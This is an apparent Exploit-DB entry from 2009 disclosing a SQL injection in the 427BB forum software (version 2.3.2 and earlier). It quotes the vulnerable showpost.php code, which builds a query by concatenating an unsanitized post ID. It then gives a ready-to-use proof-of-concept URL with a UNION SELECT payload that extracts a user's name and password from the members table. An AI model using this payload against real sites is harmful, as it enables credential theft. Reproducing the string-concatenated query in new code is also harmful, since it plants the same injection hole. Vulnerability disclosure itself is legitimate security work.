427BB Fourtwosevenbb <= 2.3.2 - SQL Injection Exploit

2009-12-04T00:00:00
ID EDB-ID:10302
Type exploitdb
Reporter cr4wl3r
Modified 2009-12-04T00:00:00

Description

427BB Fourtwosevenbb <= 2.3.2 SQL Injection Exploit. Webapps exploit for php platform

                                        
                                               [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ]

########################################################################
#Download Script      :  http://sourceforge.net/projects/fourtwosevenbb/files/
########################################################################

########################################################################
#3rr0r: ./fourtwosevenbb-2.3.2/showpost.php
#
#       &lt;?php
#line 118: $sql = "SELECT ID, UserName, Post, UTime, IP, InReplyTo, ThreadID From " . $t_prefix . "Posts WHERE ID=$post_id";
#line 119:
#line 120: $res = mysql_query($sql);
#       ?&gt;
########################################################################

########################################################################
#PoC  :   http://server/[path]/showpost.php?ForumID=1&post=[SQL]
#         http://server/[path]/showpost.php?ForumID=1&post=1%20union%20select%201,UserName,3,4,5,Password,7%20FROM%20427bb_personal%20WHERE%20ID=1--
########################################################################

   [ Gorontalo / 2009 ]